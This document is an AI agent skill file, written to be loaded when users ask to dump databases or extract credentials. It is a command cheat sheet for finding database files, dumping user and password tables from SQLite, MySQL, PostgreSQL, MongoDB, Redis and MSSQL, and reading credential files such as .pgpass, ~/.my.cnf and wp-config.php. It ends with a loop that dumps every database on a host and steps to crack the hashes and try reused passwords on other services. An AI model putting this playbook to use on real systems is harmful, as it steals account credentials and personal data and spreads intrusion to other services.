Database Extraction

---
name: Database Credential Extraction
description: |
  This skill should be used when the user asks about "dump database", "extract credentials",
  "sqlite", "mysql credentials", "database passwords", or needs to extract user data from
  common database systems.
version: 1.0.0
---

# Database Credential Extraction

## SQLite

### Find Database Files
```bash
find / -name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3" 2>/dev/null
find /var/www -name "*.db" 2>/dev/null
find /home -name "*.db" 2>/dev/null
```

### Dump All Tables
```bash
sqlite3 <database.db> ".tables"
sqlite3 <database.db> ".schema"
sqlite3 <database.db> ".dump"
```

### Extract Users Table
```bash
# Common table names
sqlite3 <database.db> "SELECT * FROM users;"
sqlite3 <database.db> "SELECT * FROM accounts;"
sqlite3 <database.db> "SELECT * FROM members;"
sqlite3 <database.db> "SELECT * FROM admin;"

# Get column names first
sqlite3 <database.db> "PRAGMA table_info(users);"
```

### Common Patterns
```bash
# Flask/Django apps
sqlite3 instance/users.db ".dump"
sqlite3 db.sqlite3 "SELECT username,password FROM auth_user;"

# WordPress
sqlite3 wp.db "SELECT user_login,user_pass FROM wp_users;"
```

## MySQL / MariaDB

### Connect
```bash
mysql -u <USER> -p<PASSWORD> -h <HOST>
mysql -u root -p
```

### Dump Users
```sql
-- MySQL user accounts
SELECT user, host, authentication_string FROM mysql.user;

-- App database users (check schema first)
USE <database>;
SHOW TABLES;
DESCRIBE users;
SELECT * FROM users;
```

### From Config Files
```bash
# Common locations
cat /var/www/html/wp-config.php | grep DB_
cat /var/www/html/config.php | grep -i pass
cat /etc/mysql/debian.cnf
cat ~/.my.cnf
```

### One-liner Extraction
```bash
mysql -u root -p<PASS> -e "SELECT user,authentication_string FROM mysql.user;"
mysqldump -u root -p<PASS> <database> users > users_dump.sql
```

## PostgreSQL

### Connect
```bash
psql -U <USER> -h <HOST> -d <DATABASE>
psql -U postgres
```

### Dump Users
```sql
-- Database users
SELECT usename, passwd FROM pg_shadow;

-- App users
\dt
SELECT * FROM users;
```

### From Config
```bash
cat /var/lib/postgresql/.pgpass
cat ~/.pgpass
# format: hostname:port:database:username:password
```

## MongoDB

### Connect
```bash
mongo
mongo --host <HOST> --port 27017
mongo -u <USER> -p <PASSWORD> --authenticationDatabase admin
```

### Dump Users
```javascript
// List databases
show dbs

// Use database
use <database>

// Show collections
show collections

// Dump users
db.users.find()
db.users.find().pretty()
```

### From Config
```bash
cat /etc/mongod.conf
cat ~/.mongorc.js
```

## Redis

### Connect
```bash
redis-cli -h <HOST>
redis-cli -h <HOST> -a <PASSWORD>
```

### Dump Data
```bash
# List all keys
redis-cli KEYS "*"

# Get specific key
redis-cli GET <key>

# Dump all
redis-cli --scan | xargs -L 1 redis-cli GET
```

### Check for Auth
```bash
redis-cli INFO | grep requirepass
redis-cli CONFIG GET requirepass
```

## MSSQL

### Connect
```bash
# Using impacket
mssqlclient.py <DOMAIN>/<USER>:<PASS>@<HOST>
mssqlclient.py <USER>:<PASS>@<HOST> -windows-auth

# Using sqsh
sqsh -S <HOST> -U <USER> -P <PASS>
```

### Dump Users
```sql
-- SQL Server logins
SELECT name, password_hash FROM sys.sql_logins;

-- Linked servers (for pivoting)
EXEC sp_linkedservers;
```

## Common Web App Locations

| Framework | Config Location | Database Path |
|-----------|-----------------|---------------|
| Flask | config.py, .env | instance/*.db |
| Django | settings.py | db.sqlite3 |
| WordPress | wp-config.php | MySQL |
| Laravel | .env | MySQL/SQLite |
| Rails | database.yml | MySQL/PostgreSQL |
| Node/Express | .env, config.js | MongoDB/MySQL |

## Quick Extraction Script

```bash
# Find and dump all SQLite databases
for db in $(find / -name "*.db" -o -name "*.sqlite*" 2>/dev/null); do
    echo "=== $db ==="
    sqlite3 "$db" ".tables" 2>/dev/null
    sqlite3 "$db" "SELECT * FROM users LIMIT 5;" 2>/dev/null
done
```

## After Extraction

1. **Identify hash type** - Use hashid or check format
2. **Crack hashes** - Use /bb-crack or hashcat
3. **Test credentials** - Try password reuse on other services
4. **Check for plaintext** - Some apps store passwords in clear